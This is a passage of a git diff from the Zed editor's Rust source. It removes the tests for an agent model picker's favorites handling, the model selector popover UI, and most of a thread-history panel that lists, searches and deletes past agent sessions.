-            Some(AcpModelPickerEntry::Separator(s)) if s == "zed"
-        ));
-    }
-
-    #[gpui::test]
-    fn test_models_have_correct_actions(_cx: &mut TestAppContext) {
-        let models = create_model_list(vec![
-            ("zed", vec!["zed/claude", "zed/gemini"]),
-            ("openai", vec!["openai/gpt-5"]),
-        ]);
-        let favorites = create_favorites(vec!["zed/claude"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-
-        for entry in &entries {
-            if let AcpModelPickerEntry::Model(info, is_favorite) = entry {
-                if info.id.0.as_ref() == "zed/claude" {
-                    assert!(is_favorite, "zed/claude should be a favorite");
-                } else {
-                    assert!(!is_favorite, "{} should not be a favorite", info.id.0);
-                }
-            }
-        }
-    }
-
-    #[gpui::test]
-    fn test_favorites_appear_in_both_sections(_cx: &mut TestAppContext) {
-        let models = create_model_list(vec![
-            ("zed", vec!["zed/claude", "zed/gemini"]),
-            ("openai", vec!["openai/gpt-5", "openai/gpt-4"]),
-        ]);
-        let favorites = create_favorites(vec!["zed/gemini", "openai/gpt-5"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-        let model_ids = get_entry_model_ids(&entries);
-
-        assert_eq!(model_ids[0], "zed/gemini");
-        assert_eq!(model_ids[1], "openai/gpt-5");
-
-        assert!(model_ids[2..].contains(&"zed/gemini"));
-        assert!(model_ids[2..].contains(&"openai/gpt-5"));
-    }
-
-    #[gpui::test]
-    fn test_favorites_are_not_duplicated_when_repeated_in_other_sections(_cx: &mut TestAppContext) {
-        let models = create_model_list(vec![
-            ("Recommended", vec!["zed/claude", "anthropic/claude"]),
-            ("Zed", vec!["zed/claude", "zed/gpt-5"]),
-            ("Antropic", vec!["anthropic/claude"]),
-            ("OpenAI", vec!["openai/gpt-5"]),
-        ]);
-
-        let favorites = create_favorites(vec!["zed/claude"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-        let labels = get_entry_labels(&entries);
-
-        assert_eq!(
-            labels,
-            vec![
-                "Favorite",
-                "zed/claude",
-                "Recommended",
-                "zed/claude",
-                "anthropic/claude",
-                "Zed",
-                "zed/claude",
-                "zed/gpt-5",
-                "Antropic",
-                "anthropic/claude",
-                "OpenAI",
-                "openai/gpt-5"
-            ]
-        );
-    }
-
-    #[gpui::test]
-    fn test_flat_model_list_with_favorites(_cx: &mut TestAppContext) {
-        let models = AgentModelList::Flat(vec![
-            acp_thread::AgentModelInfo {
-                id: acp::ModelId::new("zed/claude".to_string()),
-                name: "Claude".into(),
-                description: None,
-                icon: None,
-                is_latest: false,
-                cost: None,
-            },
-            acp_thread::AgentModelInfo {
-                id: acp::ModelId::new("zed/gemini".to_string()),
-                name: "Gemini".into(),
-                description: None,
-                icon: None,
-                is_latest: false,
-                cost: None,
-            },
-        ]);
-        let favorites = create_favorites(vec!["zed/gemini"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-
-        assert!(matches!(
-            entries.first(),
-            Some(AcpModelPickerEntry::Separator(s)) if s == "Favorite"
-        ));
-
-        assert!(entries.iter().any(|e| matches!(
-            e,
-            AcpModelPickerEntry::Separator(s) if s == "All"
-        )));
-    }
-
-    #[gpui::test]
-    fn test_favorites_count_returns_correct_count(_cx: &mut TestAppContext) {
-        let empty_favorites: HashSet<ModelId> = HashSet::default();
-        assert_eq!(empty_favorites.len(), 0);
-
-        let one_favorite = create_favorites(vec!["model-a"]);
-        assert_eq!(one_favorite.len(), 1);
-
-        let multiple_favorites = create_favorites(vec!["model-a", "model-b", "model-c"]);
-        assert_eq!(multiple_favorites.len(), 3);
-
-        let with_duplicates = create_favorites(vec!["model-a", "model-a", "model-b"]);
-        assert_eq!(with_duplicates.len(), 2);
-    }
-
-    #[gpui::test]
-    fn test_is_favorite_flag_set_correctly_in_entries(_cx: &mut TestAppContext) {
-        let models = AgentModelList::Flat(vec![
-            acp_thread::AgentModelInfo {
-                id: acp::ModelId::new("favorite-model".to_string()),
-                name: "Favorite".into(),
-                description: None,
-                icon: None,
-                is_latest: false,
-                cost: None,
-            },
-            acp_thread::AgentModelInfo {
-                id: acp::ModelId::new("regular-model".to_string()),
-                name: "Regular".into(),
-                description: None,
-                icon: None,
-                is_latest: false,
-                cost: None,
-            },
-        ]);
-        let favorites = create_favorites(vec!["favorite-model"]);
-
-        let entries = info_list_to_picker_entries(models, &favorites);
-
-        for entry in &entries {
-            if let AcpModelPickerEntry::Model(info, is_favorite) = entry {
-                if info.id.0.as_ref() == "favorite-model" {
-                    assert!(*is_favorite, "favorite-model should have is_favorite=true");
-                } else if info.id.0.as_ref() == "regular-model" {
-                    assert!(!*is_favorite, "regular-model should have is_favorite=false");
-                }
-            }
-        }
-    }
-}
diff --git a/crates/agent_ui/src/acp/model_selector_popover.rs b/crates/agent_ui/src/acp/model_selector_popover.rs
deleted file mode 100644
index 941a84faa87826..00000000000000
--- a/crates/agent_ui/src/acp/model_selector_popover.rs
+++ /dev/null
@@ -1,106 +0,0 @@
-use std::rc::Rc;
-use std::sync::Arc;
-
-use acp_thread::{AgentModelIcon, AgentModelInfo, AgentModelSelector};
-use fs::Fs;
-use gpui::{Entity, FocusHandle};
-use picker::popover_menu::PickerPopoverMenu;
-use ui::{ButtonLike, PopoverMenuHandle, TintColor, Tooltip, prelude::*};
-
-use crate::acp::{AcpModelSelector, model_selector::acp_model_selector};
-use crate::ui::ModelSelectorTooltip;
-
-pub struct AcpModelSelectorPopover {
-    selector: Entity<AcpModelSelector>,
-    menu_handle: PopoverMenuHandle<AcpModelSelector>,
-}
-
-impl AcpModelSelectorPopover {
-    pub(crate) fn new(
-        selector: Rc<dyn AgentModelSelector>,
-        agent_server: Rc<dyn agent_servers::AgentServer>,
-        fs: Arc<dyn Fs>,
-        menu_handle: PopoverMenuHandle<AcpModelSelector>,
-        focus_handle: FocusHandle,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        Self {
-            selector: cx.new(move |cx| {
-                acp_model_selector(selector, agent_server, fs, focus_handle.clone(), window, cx)
-            }),
-            menu_handle,
-        }
-    }
-
-    pub fn toggle(&self, window: &mut Window, cx: &mut Context<Self>) {
-        self.menu_handle.toggle(window, cx);
-    }
-
-    pub fn active_model<'a>(&self, cx: &'a App) -> Option<&'a AgentModelInfo> {
-        self.selector.read(cx).delegate.active_model()
-    }
-
-    pub fn cycle_favorite_models(&self, window: &mut Window, cx: &mut Context<Self>) {
-        self.selector.update(cx, |selector, cx| {
-            selector.delegate.cycle_favorite_models(window, cx);
-        });
-    }
-}
-
-impl Render for AcpModelSelectorPopover {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let selector = self.selector.read(cx);
-        let model = selector.delegate.active_model();
-        let model_name = model
-            .as_ref()
-            .map(|model| model.name.clone())
-            .unwrap_or_else(|| SharedString::from("Select a Model"));
-
-        let model_icon = model.as_ref().and_then(|model| model.icon.clone());
-
-        let (color, icon) = if self.menu_handle.is_deployed() {
-            (Color::Accent, IconName::ChevronUp)
-        } else {
-            (Color::Muted, IconName::ChevronDown)
-        };
-
-        let show_cycle_row = selector.delegate.favorites_count() > 1;
-
-        let tooltip = Tooltip::element({
-            move |_, _cx| {
-                ModelSelectorTooltip::new()
-                    .show_cycle_row(show_cycle_row)
-                    .into_any_element()
-            }
-        });
-
-        PickerPopoverMenu::new(
-            self.selector.clone(),
-            ButtonLike::new("active-model")
-                .selected_style(ButtonStyle::Tinted(TintColor::Accent))
-                .when_some(model_icon, |this, icon| {
-                    this.child(
-                        match icon {
-                            AgentModelIcon::Path(path) => Icon::from_external_svg(path),
-                            AgentModelIcon::Named(icon_name) => Icon::new(icon_name),
-                        }
-                        .color(color)
-                        .size(IconSize::XSmall),
-                    )
-                })
-                .child(
-                    Label::new(model_name)
-                        .color(color)
-                        .size(LabelSize::Small)
-                        .ml_0p5(),
-                )
-                .child(Icon::new(icon).color(Color::Muted).size(IconSize::XSmall)),
-            tooltip,
-            gpui::Corner::BottomRight,
-            cx,
-        )
-        .with_handle(self.menu_handle.clone())
-        .render(window, cx)
-    }
-}
diff --git a/crates/agent_ui/src/acp/thread_history.rs b/crates/agent_ui/src/acp/thread_history.rs
deleted file mode 100644
index 01573e3b55166b..00000000000000
--- a/crates/agent_ui/src/acp/thread_history.rs
+++ /dev/null
@@ -1,1686 +0,0 @@
-use crate::acp::AcpServerView;
-use crate::{AgentPanel, RemoveHistory, RemoveSelectedThread};
-use acp_thread::{AgentSessionInfo, AgentSessionList, AgentSessionListRequest, SessionListUpdate};
-use agent_client_protocol as acp;
-use chrono::{Datelike as _, Local, NaiveDate, TimeDelta, Utc};
-use editor::{Editor, EditorEvent};
-use fuzzy::StringMatchCandidate;
-use gpui::{
-    App, Entity, EventEmitter, FocusHandle, Focusable, ScrollStrategy, Task,
-    UniformListScrollHandle, WeakEntity, Window, uniform_list,
-};
-use std::{fmt::Display, ops::Range, rc::Rc};
-use text::Bias;
-use time::{OffsetDateTime, UtcOffset};
-use ui::{
-    ElementId, HighlightedLabel, IconButtonShape, ListItem, ListItemSpacing, Tab, Tooltip,
-    WithScrollbar, prelude::*,
-};
-
-const DEFAULT_TITLE: &SharedString = &SharedString::new_static("New Thread");
-
-fn thread_title(entry: &AgentSessionInfo) -> &SharedString {
-    entry
-        .title
-        .as_ref()
-        .filter(|title| !title.is_empty())
-        .unwrap_or(DEFAULT_TITLE)
-}
-
-pub struct AcpThreadHistory {
-    session_list: Option<Rc<dyn AgentSessionList>>,
-    sessions: Vec<AgentSessionInfo>,
-    scroll_handle: UniformListScrollHandle,
-    selected_index: usize,
-    hovered_index: Option<usize>,
-    search_editor: Entity<Editor>,
-    search_query: SharedString,
-    visible_items: Vec<ListItemType>,
-    local_timezone: UtcOffset,
-    confirming_delete_history: bool,
-    _visible_items_task: Task<()>,
-    _refresh_task: Task<()>,
-    _watch_task: Option<Task<()>>,
-    _subscriptions: Vec<gpui::Subscription>,
-}
-
-enum ListItemType {
-    BucketSeparator(TimeBucket),
-    Entry {
-        entry: AgentSessionInfo,
-        format: EntryTimeFormat,
-    },
-    SearchResult {
-        entry: AgentSessionInfo,
-        positions: Vec<usize>,
-    },
-}
-
-impl ListItemType {
-    fn history_entry(&self) -> Option<&AgentSessionInfo> {
-        match self {
-            ListItemType::Entry { entry, .. } => Some(entry),
-            ListItemType::SearchResult { entry, .. } => Some(entry),
-            _ => None,
-        }
-    }
-}
-
-pub enum ThreadHistoryEvent {
-    Open(AgentSessionInfo),
-}
-
-impl EventEmitter<ThreadHistoryEvent> for AcpThreadHistory {}
-
-impl AcpThreadHistory {
-    pub fn new(
-        session_list: Option<Rc<dyn AgentSessionList>>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let search_editor = cx.new(|cx| {
-            let mut editor = Editor::single_line(window, cx);
-            editor.set_placeholder_text("Search threads...", window, cx);
-            editor
-        });
-
-        let search_editor_subscription =
-            cx.subscribe(&search_editor, |this, search_editor, event, cx| {
-                if let EditorEvent::BufferEdited = event {
-                    let query = search_editor.read(cx).text(cx);
-                    if this.search_query != query {
-                        this.search_query = query.into();
-                        this.update_visible_items(false, cx);
-                    }
-                }
-            });
-
-        let scroll_handle = UniformListScrollHandle::default();
-
-        let mut this = Self {
-            session_list: None,
-            sessions: Vec::new(),
-            scroll_handle,
-            selected_index: 0,
-            hovered_index: None,
-            visible_items: Default::default(),
-            search_editor,
-            local_timezone: UtcOffset::from_whole_seconds(
-                chrono::Local::now().offset().local_minus_utc(),
-            )
-            .unwrap(),
-            search_query: SharedString::default(),
-            confirming_delete_history: false,
-            _subscriptions: vec![search_editor_subscription],
-            _visible_items_task: Task::ready(()),
-            _refresh_task: Task::ready(()),
-            _watch_task: None,
-        };
-        this.set_session_list(session_list, cx);
-        this
-    }
-
-    fn update_visible_items(&mut self, preserve_selected_item: bool, cx: &mut Context<Self>) {
-        let entries = self.sessions.clone();
-        let new_list_items = if self.search_query.is_empty() {
-            self.add_list_separators(entries, cx)
-        } else {
-            self.filter_search_results(entries, cx)
-        };
-        let selected_history_entry = if preserve_selected_item {
-            self.selected_history_entry().cloned()
-        } else {
-            None
-        };
-
-        self._visible_items_task = cx.spawn(async move |this, cx| {
-            let new_visible_items = new_list_items.await;
-            this.update(cx, |this, cx| {
-                let new_selected_index = if let Some(history_entry) = selected_history_entry {
-                    new_visible_items
-                        .iter()
-                        .position(|visible_entry| {
-                            visible_entry
-                                .history_entry()
-                                .is_some_and(|entry| entry.session_id == history_entry.session_id)
-                        })
-                        .unwrap_or(0)
-                } else {
-                    0
-                };
-
-                this.visible_items = new_visible_items;
-                this.set_selected_index(new_selected_index, Bias::Right, cx);
-                cx.notify();
-            })
-            .ok();
-        });
-    }
-
-    pub fn set_session_list(
-        &mut self,
-        session_list: Option<Rc<dyn AgentSessionList>>,
-        cx: &mut Context<Self>,
-    ) {
-        if let (Some(current), Some(next)) = (&self.session_list, &session_list)
-            && Rc::ptr_eq(current, next)
-        {
-            return;
-        }
-
-        self.session_list = session_list;
-        self.sessions.clear();
-        self.visible_items.clear();
-        self.selected_index = 0;
-        self._visible_items_task = Task::ready(());
-        self._refresh_task = Task::ready(());
-
-        let Some(session_list) = self.session_list.as_ref() else {
-            self._watch_task = None;
-            cx.notify();
-            return;
-        };
-        let Some(rx) = session_list.watch(cx) else {
-            // No watch support - do a one-time refresh
-            self._watch_task = None;
-            self.refresh_sessions(false, false, cx);
-            return;
-        };
-        session_list.notify_refresh();
-
-        self._watch_task = Some(cx.spawn(async move |this, cx| {
-            while let Ok(first_update) = rx.recv().await {
-                let mut updates = vec![first_update];
-                // Collect any additional updates that are already in the channel
-                while let Ok(update) = rx.try_recv() {
-                    updates.push(update);
-                }
-
-                this.update(cx, |this, cx| {
-                    let needs_refresh = updates
-                        .iter()
-                        .any(|u| matches!(u, SessionListUpdate::Refresh));
-
-                    if needs_refresh {
-                        this.refresh_sessions(true, false, cx);
-                    } else {
-                        for update in updates {
-                            if let SessionListUpdate::SessionInfo { session_id, update } = update {
-                                this.apply_info_update(session_id, update, cx);
-                            }
-                        }
-                    }
-                })
-                .ok();
-            }
-        }));
-    }
-
-    pub(crate) fn refresh_full_history(&mut self, cx: &mut Context<Self>) {
-        self.refresh_sessions(true, true, cx);
-    }
-
-    fn apply_info_update(
-        &mut self,
-        session_id: acp::SessionId,
-        info_update: acp::SessionInfoUpdate,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(session) = self
-            .sessions
-            .iter_mut()
-            .find(|s| s.session_id == session_id)
-        else {
-            return;
-        };
-
-        match info_update.title {
-            acp::MaybeUndefined::Value(title) => {
-                session.title = Some(title.into());
-            }
-            acp::MaybeUndefined::Null => {
-                session.title = None;
-            }
-            acp::MaybeUndefined::Undefined => {}
-        }
-        match info_update.updated_at {
-            acp::MaybeUndefined::Value(date_str) => {
-                if let Ok(dt) = chrono::DateTime::parse_from_rfc3339(&date_str) {
-                    session.updated_at = Some(dt.with_timezone(&chrono::Utc));
-                }
-            }
-            acp::MaybeUndefined::Null => {
-                session.updated_at = None;
-            }
-            acp::MaybeUndefined::Undefined => {}
-        }
-        if let Some(meta) = info_update.meta {
-            session.meta = Some(meta);
-        }
-
-        self.update_visible_items(true, cx);
-    }
-
-    fn refresh_sessions(
-        &mut self,
-        preserve_selected_item: bool,
-        load_all_pages: bool,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(session_list) = self.session_list.clone() else {
-            self.update_visible_items(preserve_selected_item, cx);
-            return;
-        };
-
-        // If a new refresh arrives while pagination is in progress, the previous
-        // `_refresh_task` is cancelled. This is intentional (latest refresh wins),
-        // but means sessions may be in a partial state until the new refresh completes.
-        self._refresh_task = cx.spawn(async move |this, cx| {
-            let mut cursor: Option<String> = None;
-            let mut is_first_page = true;
-
-            loop {
-                let request = AgentSessionListRequest {
-                    cursor: cursor.clone(),
-                    ..Default::default()
-                };
-                let task = cx.update(|cx| session_list.list_sessions(request, cx));
-                let response = match task.await {
-                    Ok(response) => response,
-                    Err(error) => {
-                        log::error!("Failed to load session history: {error:#}");
-                        return;
-                    }
-                };
-
-                let acp_thread::AgentSessionListResponse {
-                    sessions: page_sessions,
-                    next_cursor,
-                    ..
-                } = response;
-
-                this.update(cx, |this, cx| {
-                    if is_first_page {
-                        this.sessions = page_sessions;
-                    } else {
-                        this.sessions.extend(page_sessions);
-                    }
-                    this.update_visible_items(preserve_selected_item, cx);
-                })
-                .ok();
-
-                is_first_page = false;
-                if !load_all_pages {
-                    break;
-                }
-
-                match next_cursor {
-                    Some(next_cursor) => {
-                        if cursor.as_ref() == Some(&next_cursor) {
-                            log::warn!(
-                                "Session list pagination returned the same cursor; stopping to avoid a loop."
-                            );
-                            break;
-                        }
-                        cursor = Some(next_cursor);
-                    }
-                    None => break,
-                }
-            }
-        });
-    }
-
-    pub(crate) fn is_empty(&self) -> bool {
-        self.sessions.is_empty()
-    }
-
-    pub fn has_session_list(&self) -> bool {
-        self.session_list.is_some()
-    }
-
-    pub fn refresh(&mut self, _cx: &mut Context<Self>) {
-        if let Some(session_list) = &self.session_list {
-            session_list.notify_refresh();
-        }
-    }
-
-    pub fn session_for_id(&self, session_id: &acp::SessionId) -> Option<AgentSessionInfo> {
-        self.sessions
-            .iter()
-            .find(|entry| &entry.session_id == session_id)
-            .cloned()
-    }
-
-    pub(crate) fn sessions(&self) -> &[AgentSessionInfo] {
-        &self.sessions
-    }
-
-    pub(crate) fn get_recent_sessions(&self, limit: usize) -> Vec<AgentSessionInfo> {
-        self.sessions.iter().take(limit).cloned().collect()
-    }
-
-    pub fn supports_delete(&self, cx: &App) -> bool {
-        self.session_list
-            .as_ref()
-            .map(|sl| sl.supports_delete(cx))
-            .unwrap_or(false)
-    }
-
-    pub(crate) fn delete_session(
-        &self,
-        session_id: &acp::SessionId,
-        cx: &mut App,
-    ) -> Task<anyhow::Result<()>> {
-        if let Some(session_list) = self.session_list.as_ref() {
-            session_list.delete_session(session_id, cx)
-        } else {
-            Task::ready(Ok(()))
-        }
-    }
-
-    fn add_list_separators(
-        &self,
-        entries: Vec<AgentSessionInfo>,
-        cx: &App,
-    ) -> Task<Vec<ListItemType>> {
-        cx.background_spawn(async move {
-            let mut items = Vec::with_capacity(entries.len() + 1);
-            let mut bucket = None;
-            let today = Local::now().naive_local().date();
-
-            for entry in entries.into_iter() {
-                let entry_bucket = entry
-                    .updated_at
-                    .map(|timestamp| {
-                        let entry_date = timestamp.with_timezone(&Local).naive_local().date();
-                        TimeBucket::from_dates(today, entry_date)
-                    })
-                    .unwrap_or(TimeBucket::All);
-
-                if Some(entry_bucket) != bucket {
-                    bucket = Some(entry_bucket);
-                    items.push(ListItemType::BucketSeparator(entry_bucket));
-                }
-
-                items.push(ListItemType::Entry {
-                    entry,
-                    format: entry_bucket.into(),
-                });
-            }
-            items
-        })
-    }
-
-    fn filter_search_results(
-        &self,
-        entries: Vec<AgentSessionInfo>,
-        cx: &App,
-    ) -> Task<Vec<ListItemType>> {
-        let query = self.search_query.clone();
-        cx.background_spawn({
-            let executor = cx.background_executor().clone();
-            async move {
-                let mut candidates = Vec::with_capacity(entries.len());
-
-                for (idx, entry) in entries.iter().enumerate() {
-                    candidates.push(StringMatchCandidate::new(idx, thread_title(entry)));
-                }
-
-                const MAX_MATCHES: usize = 100;
-
-                let matches = fuzzy::match_strings(
-                    &candidates,
-                    &query,
-                    false,
-                    true,
-                    MAX_MATCHES,
-                    &Default::default(),
-                    executor,
-                )
-                .await;
-
-                matches
-                    .into_iter()
-                    .map(|search_match| ListItemType::SearchResult {
-                        entry: entries[search_match.candidate_id].clone(),
-                        positions: search_match.positions,
-                    })
-                    .collect()
-            }
-        })
-    }
-
-    fn search_produced_no_matches(&self) -> bool {
-        self.visible_items.is_empty() && !self.search_query.is_empty()
-    }
-
-    fn selected_history_entry(&self) -> Option<&AgentSessionInfo> {
-        self.get_history_entry(self.selected_index)
-    }
-
-    fn get_history_entry(&self, visible_items_ix: usize) -> Option<&AgentSessionInfo> {
-        self.visible_items.get(visible_items_ix)?.history_entry()
-    }
-
-    fn set_selected_index(&mut self, mut index: usize, bias: Bias, cx: &mut Context<Self>) {
-        if self.visible_items.len() == 0 {
-            self.selected_index = 0;
-            return;
-        }
-        while matches!(
-            self.visible_items.get(index),
-            None | Some(ListItemType::BucketSeparator(..))
-        ) {
-            index = match bias {
-                Bias::Left => {
-                    if index == 0 {
-                        self.visible_items.len() - 1
-                    } else {
-                        index - 1
-                    }
-                }
-                Bias::Right => {
-                    if index >= self.visible_items.len() - 1 {
-                        0
-                    } else {
-                        index + 1
-                    }
-                }
-            };
-        }
-        self.selected_index = index;
-        self.scroll_handle
-            .scroll_to_item(index, ScrollStrategy::Top);
-        cx.notify()
-    }
-
-    pub fn select_previous(
-        &mut self,
-        _: &menu::SelectPrevious,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if self.selected_index == 0 {
-            self.set_selected_index(self.visible_items.len() - 1, Bias::Left, cx);
-        } else {
-            self.set_selected_index(self.selected_index - 1, Bias::Left, cx);
-        }
-    }
-
-    pub fn select_next(
-        &mut self,
-        _: &menu::SelectNext,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if self.selected_index == self.visible_items.len() - 1 {
-            self.set_selected_index(0, Bias::Right, cx);
-        } else {
-            self.set_selected_index(self.selected_index + 1, Bias::Right, cx);
-        }
-    }
-
-    fn select_first(
-        &mut self,
-        _: &menu::SelectFirst,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.set_selected_index(0, Bias::Right, cx);
-    }
-
-    fn select_last(&mut self, _: &menu::SelectLast, _window: &mut Window, cx: &mut Context<Self>) {
-        self.set_selected_index(self.visible_items.len() - 1, Bias::Left, cx);
-    }
-
-    fn confirm(&mut self, _: &menu::Confirm, _window: &mut Window, cx: &mut Context<Self>) {
-        self.confirm_entry(self.selected_index, cx);
-    }
-
-    fn confirm_entry(&mut self, ix: usize, cx: &mut Context<Self>) {
-        let Some(entry) = self.get_history_entry(ix) else {
-            return;
-        };
-        cx.emit(ThreadHistoryEvent::Open(entry.clone()));
-    }
-
-    fn remove_selected_thread(
-        &mut self,
-        _: &RemoveSelectedThread,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.remove_thread(self.selected_index, cx)
-    }
-
-    fn remove_thread(&mut self, visible_item_ix: usize, cx: &mut Context<Self>) {
-        let Some(entry) = self.get_history_entry(visible_item_ix) else {
-            return;
-        };
-        let Some(session_list) = self.session_list.as_ref() else {
-            return;
-        };
-        if !session_list.supports_delete(cx) {
-            return;
-        }
-        let task = session_list.delete_session(&entry.session_id, cx);
-        task.detach_and_log_err(cx);
-    }
-
-    fn remove_history(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        let Some(session_list) = self.session_list.as_ref() else {
-            return;
-        };
-        if !session_list.supports_delete(cx) {
-            return;
-        }
-        session_list.delete_sessions(cx).detach_and_log_err(cx);
-        self.confirming_delete_history = false;
-        cx.notify();
-    }
-
-    fn prompt_delete_history(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        self.confirming_delete_history = true;
-        cx.notify();
-    }
-
-    fn cancel_delete_history(&mut self, _window: &mut Window, cx: &mut Context<Self>) {
-        self.confirming_delete_history = false;
-        cx.notify();
-    }
-
-    fn render_list_items(
-        &mut self,
-        range: Range<usize>,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Vec<AnyElement> {
-        self.visible_items
-            .get(range.clone())
-            .into_iter()
-            .flatten()
-            .enumerate()
-            .map(|(ix, item)| self.render_list_item(item, range.start + ix, cx))
-            .collect()
-    }
-
-    fn render_list_item(&self, item: &ListItemType, ix: usize, cx: &Context<Self>) -> AnyElement {
-        match item {
-            ListItemType::Entry { entry, format } => self
-                .render_history_entry(entry, *format, ix, Vec::default(), cx)
-                .into_any(),
-            ListItemType::SearchResult { entry, positions } => self.render_history_entry(
-                entry,
-                EntryTimeFormat::DateAndTime,
-                ix,
-                positions.clone(),
-                cx,
-            ),
-            ListItemType::BucketSeparator(bucket) => div()
-                .px(DynamicSpacing::Base06.rems(cx))
-                .pt_2()
-                .pb_1()
-                .child(
-                    Label::new(bucket.to_string())
-                        .size(LabelSize::XSmall)
-                        .color(Color::Muted),
-                )
-                .into_any_element(),
-        }
-    }
-
-    fn render_history_entry(
-        &self,
-        entry: &AgentSessionInfo,
-        format: EntryTimeFormat,
-        ix: usize,
-        highlight_positions: Vec<usize>,
-        cx: &Context<Self>,
-    ) -> AnyElement {
-        let selected = ix == self.selected_index;
-        let hovered = Some(ix) == self.hovered_index;
-        let entry_time = entry.updated_at;
-        let display_text = match (format, entry_time) {
-            (EntryTimeFormat::DateAndTime, Some(entry_time)) => {
-                let now = Utc::now();
-                let duration = now.signed_duration_since(entry_time);
-                let days = duration.num_days();
-
-                format!("{}d", days)
-            }
-            (EntryTimeFormat::TimeOnly, Some(entry_time)) => {
-                format.format_timestamp(entry_time.timestamp(), self.local_timezone)
-            }
-            (_, None) => "—".to_string(),
-        };
-
-        let title = thread_title(entry).clone();
-        let full_date = entry_time
-            .map(|time| {
-                EntryTimeFormat::DateAndTime.format_timestamp(time.timestamp(), self.local_timezone)
-            })
-            .unwrap_or_else(|| "Unknown".to_string());
-
-        h_flex()
-            .w_full()
-            .pb_1()
-            .child(
-                ListItem::new(ix)
-                    .rounded()
-                    .toggle_state(selected)
-                    .spacing(ListItemSpacing::Sparse)
-                    .start_slot(
-                        h_flex()
-                            .w_full()
-                            .gap_2()
-                            .justify_between()
-                            .child(
-                                HighlightedLabel::new(thread_title(entry), highlight_positions)
-                                    .size(LabelSize::Small)
-                                    .truncate(),
-                            )
-                            .child(
-                                Label::new(display_text)
-                                    .color(Color::Muted)
-                                    .size(LabelSize::XSmall),
-                            ),
-                    )
-                    .tooltip(move |_, cx| {
-                        Tooltip::with_meta(title.clone(), None, full_date.clone(), cx)
-                    })
-                    .on_hover(cx.listener(move |this, is_hovered, _window, cx| {
-                        if *is_hovered {
-                            this.hovered_index = Some(ix);
-                        } else if this.hovered_index == Some(ix) {
-                            this.hovered_index = None;
-                        }
-
-                        cx.notify();
-                    }))
-                    .end_slot::<IconButton>(if hovered && self.supports_delete(cx) {
-                        Some(
-                            IconButton::new("delete", IconName::Trash)
-                                .shape(IconButtonShape::Square)
-                                .icon_size(IconSize::XSmall)
-                                .icon_color(Color::Muted)
-                                .tooltip(move |_window, cx| {
-                                    Tooltip::for_action("Delete", &RemoveSelectedThread, cx)
-                                })
-                                .on_click(cx.listener(move |this, _, _, cx| {
-                                    this.remove_thread(ix, cx);
-                                    cx.stop_propagation()
-                                })),
-                        )
-                    } else {
-                        None
-                    })
-                    .on_click(cx.listener(move |this, _, _, cx| this.confirm_entry(ix, cx))),
-            )
-            .into_any_element()
-    }
-}
-
-impl Focusable for AcpThreadHistory {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        self.search_editor.focus_handle(cx)
-    }
-}
-
-impl Render for AcpThreadHistory {
-    fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
-        let has_no_history = self.is_empty();
-
-        v_flex()
-            .key_context("ThreadHistory")
-            .size_full()
-            .bg(cx.theme().colors().panel_background)
-            .on_action(cx.listener(Self::select_previous))
-            .on_action(cx.listener(Self::select_next))
-            .on_action(cx.listener(Self::select_first))
-            .on_action(cx.listener(Self::select_last))
-            .on_action(cx.listener(Self::confirm))
-            .on_action(cx.listener(Self::remove_selected_thread))
-            .on_action(cx.listener(|this, _: &RemoveHistory, window, cx| {
-                this.remove_history(window, cx);
-            }))
-            .child(
-                h_flex()
-                    .h(Tab::container_height(cx))
-                    .w_full()
-                    .py_1()
-                    .px_2()
-                    .gap_2()
-                    .justify_between()
-                    .border_b_1()
-                    .border_color(cx.theme().colors().border)
-                    .child(
-                        Icon::new(IconName::MagnifyingGlass)
-                            .color(Color::Muted)
-                            .size(IconSize::Small),
-                    )
-                    .child(self.search_editor.clone()),
-            )
-            .child({
-                let view = v_flex()
-                    .id("list-container")
-                    .relative()
-                    .overflow_hidden()
-                    .flex_grow();
-
-                if has_no_history {
-                    view.justify_center().items_center().child(
-                        Label::new("You don't have any past threads yet.")
-                            .size(LabelSize::Small)
-                            .color(Color::Muted),
-                    )
-                } else if self.search_produced_no_matches() {
-                    view.justify_center()
-                        .items_center()
-                        .child(Label::new("No threads match your search.").size(LabelSize::Small))
-                } else {
-                    view.child(
-                        uniform_list(
-                            "thread-history",
-                            self.visible_items.len(),
-                            cx.processor(|this, range: Range<usize>, window, cx| {
-                                this.render_list_items(range, window, cx)
-                            }),
-                        )
-                        .p_1()
-                        .pr_4()
-                        .track_scroll(&self.scroll_handle)
-                        .flex_grow(),
-                    )
-                    .vertical_scrollbar_for(&self.scroll_handle, window, cx)
-                }
-            })
-            .when(!has_no_history && self.supports_delete(cx), |this| {
-                this.child(
-                    h_flex()
-                        .p_2()
-                        .border_t_1()
-                        .border_color(cx.theme().colors().border_variant)
-                        .when(!self.confirming_delete_history, |this| {
-                            this.child(
-                                Button::new("delete_history", "Delete All History")
-                                    .full_width()
-                                    .style(ButtonStyle::Outlined)
-                                    .label_size(LabelSize::Small)
-                                    .on_click(cx.listener(|this, _, window, cx| {
-                                        this.prompt_delete_history(window, cx);
-                                    })),
-                            )
-                        })
-                        .when(self.confirming_delete_history, |this| {
-                            this.w_full()
-                                .gap_2()
-                                .flex_wrap()
-                                .justify_between()
-                                .child(
-                                    h_flex()
-                                        .flex_wrap()
-                                        .gap_1()
-                                        .child(
-                                            Label::new("Delete all threads?")
-                                                .size(LabelSize::Small),
-                                        )
-                                        .child(
-                                            Label::new("You won't be able to recover them later.")
-                                                .size(LabelSize::Small)
